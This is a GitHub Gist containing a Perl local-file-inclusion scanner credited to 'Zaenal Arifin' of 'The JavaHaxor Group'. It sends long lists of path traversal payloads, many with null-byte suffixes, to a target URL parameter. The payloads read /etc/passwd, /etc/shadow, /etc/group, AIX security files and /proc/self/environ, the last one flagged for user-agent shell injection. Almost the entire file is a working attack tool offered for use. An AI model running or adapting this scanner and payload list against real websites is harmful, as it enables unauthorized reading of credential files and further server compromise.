Last active
May 22, 2019 05:11
-
-
Save Kaizen1337/99903f91f3ab0aa83dd10fab191233df to your computer and use it in GitHub Desktop.
LocalFile
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use HTTP::Request; | |
use LWP::UserAgent; | |
system("title The JavaHaxor Group"); | |
system("color 1e"); | |
system ("cls"); | |
print " |=======================================================|\n"; | |
print " |= _ ______ _____ =|\n"; | |
print " |= | | | ____|_ _| =|\n"; | |
print " |= | | | |__ | | =|\n"; | |
print " |= | | | __| | | SCANER V.2 =|\n"; | |
print " |= | |____| | _| |_ PERL VERSION =|\n"; | |
print " |= |______|_| |_____| =|\n"; | |
print " |= >> Exploit database separated by exploit =|\n"; | |
print " |= =|\n"; | |
print " |= [!] Name : LFI Scanner Version 2.0 Perl =|\n"; | |
print " |= [!] Author : Zaenal Arifin =|\n"; | |
print " |= [!] Site: https://www.zaenalarifin.net/ =|\n"; | |
print " |=======================================================|\n"; | |
print "\n\n"; | |
sleep (1); | |
print "\t\t\t\t WELCOME PENTESTER :)\n"; | |
print "\n\n"; | |
menu:; | |
print "\tMenu:\n"; | |
print "\t ID [1] => Passwd,Log"; | |
print "\t[Scan Files Of /etc/ Directory]\n"; | |
print "\t ID [2] => Environ"; | |
print "\t[Scan Environ File For Inject Shell By U-Agent]\n"; | |
print"\n"; | |
print "\t\t Select ID For Start Scanner :"; | |
$menu = <>; | |
if ($menu =~ /1/){ | |
goto lfi; | |
} | |
if ($menu =~ /2/){ | |
goto env; | |
} | |
else { | |
print"\n\n"; | |
print "\t\tUnknow Command\n"; | |
goto menu; | |
}; | |
lfi:; | |
print "\n\n"; | |
print "\t\t\tWelcome To /etc/ Section With New Method\n\n"; | |
print "\t Insert Target (ex: http://www.xxx.com/index.php?page=)\n"; | |
print "\t Target :"; | |
$host=<STDIN>; | |
chomp($host); | |
if($host !~ /http:\/\//) { $host = "http://$host"; }; | |
print "\n\n"; | |
print "\t\t*-*-*-*-*-* Start Scanning /etc/ Section *-*-*-*-*-*\n"; | |
print "\n\n"; | |
@lfi = ('../etc/passwd', | |
'../../etc/passwd', | |
'../../../etc/passwd', | |
'../../../../etc/passwd', | |
'../../../../../etc/passwd', | |
'../../../../../../etc/passwd', | |
'../../../../../../../etc/passwd', | |
'../../../../../../../../etc/passwd', | |
'../../../../../../../../../etc/passwd', | |
'../../../../../../../../../../etc/passwd', | |
'../../../../../../../../../../../etc/passwd', | |
'../../../../../../../../../../../../etc/passwd', | |
'../../../../../../../../../../../../../etc/passwd', | |
'../../../../../../../../../../../../../../etc/passwd', | |
'../../../../../../../../../../../../../../../../etc/passwd', | |
'....//etc/passwd', | |
'....//....//etc/passwd', | |
'....//....//....//etc/passwd', | |
'....//....//....//....//etc/passwd', | |
'....//....//....//....//....//etc/passwd', | |
'....//....//....//....//....//....//etc/passwd', | |
'....//....//....//....//....//....//....//etc/passwd', | |
'....//....//....//....//....//....//....//....//etc/passwd', | |
'....//....//....//....//....//....//....//....//....//etc/passwd', | |
'....//....//....//....//....//....//....//....//....//....//etc/passwd', | |
'../../etc/passwd%00', | |
'../../../etc/passwd%00', | |
'../../../../etc/passwd%00', | |
'../../../../../etc/passwd%00', | |
'../../../../../../etc/passwd%00', | |
'../../../../../../../etc/passwd%00', | |
'../../../../../../../../etc/passwd%00', | |
'../../../../../../../../../etc/passwd%00', | |
'../../../../../../../../../../etc/passwd%00', | |
'../../../../../../../../../../../etc/passwd%00', | |
'../../../../../../../../../../../../etc/passwd%00', | |
'../../../../../../../../../../../../../etc/passwd%00', | |
'../../../../../../../../../../../../../../etc/passwd%00', | |
'../../../../../../../../../../../../../../../../etc/passwd%00', | |
'....//etc/passwd%00', | |
'....//....//etc/passwd%00', | |
'....//....//....//etc/passwd%00', | |
'....//....//....//....//etc/passwd%00', | |
'....//....//....//....//....//etc/passwd%00', | |
'....//....//....//....//....//....//etc/passwd%00', | |
'....//....//....//....//....//....//....//etc/passwd%00', | |
'....//....//....//....//....//....//....//....//etc/passwd%00', | |
'....//....//....//....//....//....//....//....//....//etc/passwd%00', | |
'....//....//....//....//....//....//....//....//....//....//etc/passwd%00', | |
'../etc/shadow', | |
'../../etc/shadow', | |
'../../../etc/shadow', | |
'../../../../etc/shadow', | |
'../../../../../etc/shadow', | |
'../../../../../../etc/shadow', | |
'../../../../../../../etc/shadow', | |
'../../../../../../../../etc/shadow', | |
'../../../../../../../../../etc/shadow', | |
'../../../../../../../../../../etc/shadow', | |
'../../../../../../../../../../../etc/shadow', | |
'../../../../../../../../../../../../etc/shadow', | |
'../../../../../../../../../../../../../etc/shadow', | |
'../../../../../../../../../../../../../../etc/shadow', | |
'../etc/shadow%00', | |
'../../etc/shadow%00', | |
'../../../etc/shadow%00', | |
'../../../../etc/shadow%00', | |
'../../../../../etc/shadow%00', | |
'../../../../../../etc/shadow%00', | |
'../../../../../../../etc/shadow%00', | |
'../../../../../../../../etc/shadow%00', | |
'../../../../../../../../../etc/shadow%00', | |
'../../../../../../../../../../etc/shadow%00', | |
'../../../../../../../../../../../etc/shadow%00', | |
'../../../../../../../../../../../../etc/shadow%00', | |
'../../../../../../../../../../../../../etc/shadow%00', | |
'../../../../../../../../../../../../../../etc/shadow%00', | |
'../etc/group', | |
'../../etc/group', | |
'../../../etc/group', | |
'../../../../etc/group', | |
'../../../../../etc/group', | |
'../../../../../../etc/group', | |
'../../../../../../../etc/group', | |
'../../../../../../../../etc/group', | |
'../../../../../../../../../etc/group', | |
'../../../../../../../../../../etc/group', | |
'../../../../../../../../../../../etc/group', | |
'../../../../../../../../../../../../etc/group', | |
'../../../../../../../../../../../../../etc/group', | |
'../../../../../../../../../../../../../../etc/group', | |
'../etc/group%00', | |
'../../etc/group%00', | |
'../../../etc/group%00', | |
'../../../../etc/group%00', | |
'../../../../../etc/group%00', | |
'../../../../../../etc/group%00', | |
'../../../../../../../etc/group%00', | |
'../../../../../../../../etc/group%00', | |
'../../../../../../../../../etc/group%00', | |
'../../../../../../../../../../etc/group%00', | |
'../../../../../../../../../../../etc/group%00', | |
'../../../../../../../../../../../../etc/group%00', | |
'../../../../../../../../../../../../../etc/group%00', | |
'../../../../../../../../../../../../../../etc/group%00', | |
'../etc/security/group', | |
'../../etc/security/group', | |
'../../../etc/security/group', | |
'../../../../etc/security/group', | |
'../../../../../etc/security/group', | |
'../../../../../../etc/security/group', | |
'../../../../../../../etc/security/group', | |
'../../../../../../../../etc/security/group', | |
'../../../../../../../../../etc/security/group', | |
'../../../../../../../../../../etc/security/group', | |
'../../../../../../../../../../../etc/security/group', | |
'../etc/security/group%00', | |
'../../etc/security/group%00', | |
'../../../etc/security/group%00', | |
'../../../../etc/security/group%00', | |
'../../../../../etc/security/group%00', | |
'../../../../../../etc/security/group%00', | |
'../../../../../../../etc/security/group%00', | |
'../../../../../../../../etc/security/group%00', | |
'../../../../../../../../../etc/security/group%00', | |
'../../../../../../../../../../etc/security/group%00', | |
'../../../../../../../../../../../etc/security/group%00', | |
'../etc/security/passwd', | |
'../../etc/security/passwd', | |
'../../../etc/security/passwd', | |
'../../../../etc/security/passwd', | |
'../../../../../etc/security/passwd', | |
'../../../../../../etc/security/passwd', | |
'../../../../../../../etc/security/passwd', | |
'../../../../../../../../etc/security/passwd', | |
'../../../../../../../../../etc/security/passwd', | |
'../../../../../../../../../../etc/security/passwd', | |
'../../../../../../../../../../../etc/security/passwd', | |
'../../../../../../../../../../../../etc/security/passwd', | |
'../../../../../../../../../../../../../etc/security/passwd', | |
'../../../../../../../../../../../../../../etc/security/passwd', | |
'../etc/security/passwd%00', | |
'../../etc/security/passwd%00', | |
'../../../etc/security/passwd%00', | |
'../../../../etc/security/passwd%00', | |
'../../../../../etc/security/passwd%00', | |
'../../../../../../etc/security/passwd%00', | |
'../../../../../../../etc/security/passwd%00', | |
'../../../../../../../../etc/security/passwd%00', | |
'../../../../../../../../../etc/security/passwd%00', | |
'../../../../../../../../../../etc/security/passwd%00', | |
'../../../../../../../../../../../etc/security/passwd%00', | |
'../../../../../../../../../../../../etc/security/passwd%00', | |
'../../../../../../../../../../../../../etc/security/passwd%00', | |
'../../../../../../../../../../../../../../etc/security/passwd%00', | |
'../etc/security/user', | |
'../../etc/security/user', | |
'../../../etc/security/user', | |
'../../../../etc/security/user', | |
'../../../../../etc/security/user', | |
'../../../../../../etc/security/user', | |
'../../../../../../../etc/security/user', | |
'../../../../../../../../etc/security/user', | |
'../../../../../../../../../etc/security/user', | |
'../../../../../../../../../../etc/security/user', | |
'../../../../../../../../../../../etc/security/user', | |
'../../../../../../../../../../../../etc/security/user', | |
'../../../../../../../../../../../../../etc/security/user', | |
'../etc/security/user%00', | |
'../../etc/security/user%00', | |
'../../../etc/security/user%00', | |
'../../../../etc/security/user%00', | |
'../../../../../etc/security/user%00', | |
'../../../../../../etc/security/user%00', | |
'../../../../../../../etc/security/user%00', | |
'../../../../../../../../etc/security/user%00', | |
'../../../../../../../../../etc/security/user%00', | |
'../../../../../../../../../../etc/security/user%00', | |
'../../../../../../../../../../../etc/security/user%00', | |
'../../../../../../../../../../../../etc/security/user%00', | |
'../../../../../../../../../../../../../etc/security/user%00'); | |
foreach $scan(@lfi){ | |
$url = $host.$scan; | |
$request = HTTP::Request->new(GET=>$url); | |
$useragent = LWP::UserAgent->new(); | |
$response = $useragent->request($request); | |
if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerability;} | |
else { $msg = "Not Infected";} | |
print "$scan..........[$msg]\n"; | |
} | |
env:; | |
print "\n\n"; | |
print "\t\t\tWelcom To Environ Section\n\n"; | |
print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n"; | |
print "\t Target :"; | |
$host=<STDIN>; | |
chomp($host); | |
if($host !~ /http:\/\//) { $host = "http://$host"; }; | |
print "\n\n"; | |
print "\t\t*-*-*-*-*-* Start Scanning Environ *-*-*-*-*-*\n"; | |
print "\n\n"; | |
@env = ('../proc/self/environ', | |
'../../proc/self/environ', | |
'../../../proc/self/environ', | |
'../../../../proc/self/environ', | |
'../../../../../proc/self/environ', | |
'../../../../../../proc/self/environ', | |
'../../../../../../../proc/self/environ', | |
'../../../../../../../../proc/self/environ', | |
'../../../../../../../../../proc/self/environ', | |
'../../../../../../../../../../proc/self/environ', | |
'../../../../../../../../../../../proc/self/environ', | |
'../../../../../../../../../../../../proc/self/environ', | |
'../../../../../../../../../../../../../proc/self/environ', | |
'../../../../../../../../../../../../../../proc/self/environ', | |
'../proc/self/environ%00', | |
'../../proc/self/environ%00', | |
'../../../proc/self/environ%00', | |
'../../../../proc/self/environ%00', | |
'../../../../../proc/self/environ%00', | |
'../../../../../../proc/self/environ%00', | |
'../../../../../../../proc/self/environ%00', | |
'../../../../../../../../proc/self/environ%00', | |
'../../../../../../../../../proc/self/environ%00', | |
'../../../../../../../../../../proc/self/environ%00', | |
'../../../../../../../../../../../proc/self/environ%00', | |
'../../../../../../../../../../../../proc/self/environ%00', | |
'../../../../../../../../../../../../../proc/self/environ%00', | |
'../../../../../../../../../../../../../../proc/self/environ%00'); | |
foreach $scan_env(@env){ | |
$url = $host.$scan_env; | |
$request = HTTP::Request->new(GET=>$url); | |
$useragent = LWP::UserAgent->new(); | |
$response = $useragent->request($request); | |
if ($response->is_success && $response->content =~ /HTTP_ACCEPT/ && $response->content =~ /HTTP_HOST/) { $msg = Vulnerability;} | |
else { $msg = "Not Infected";} | |
print "$scan_env..........[$msg]\n"; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment